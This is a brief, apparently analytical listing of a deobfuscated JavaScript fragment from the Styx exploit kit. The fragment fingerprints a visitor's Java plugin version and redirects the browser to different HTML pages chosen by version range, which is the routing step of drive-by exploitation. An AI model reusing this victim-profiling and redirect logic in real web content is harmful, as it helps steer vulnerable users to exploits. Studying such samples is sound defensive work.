A deobfuscated portion of the JavaScript code found on the Styx exploit kit

styx_ek.js

function NyMpwEMG() {
    var FHQxrYhsp = window.PluginDetect.getVersion("Java");
    if (typeof FHQxrYhsp == 'string') {
        FHQxrYhsp = FHQxrYhsp.split(",");
        if (FHQxrYhsp[3].length == 1) {
            FHQxrYhsp = "" + FHQxrYhsp[1] + "0" + FHQxrYhsp[3];
        } else {
            FHQxrYhsp = "" + FHQxrYhsp[1] + FHQxrYhsp[3];
        }
    } else {
        FHQxrYhsp = 0;
    } if ((FHQxrYhsp >= 500 && FHQxrYhsp <= 632) || (FHQxrYhsp >= 700 && FHQxrYhsp <= 709)) {
        return "JSwkYux.html";
    };
    if ((FHQxrYhsp >= 633 && FHQxrYhsp <= 645)) {
        return "ySnWHR.html";
    };
    if ((FHQxrYhsp >= 710 && FHQxrYhsp < 725)) {
        return "XdMGGiCPB.html";
    };
    return "uDLhux.html";
}
location.href = NyMpwEMG();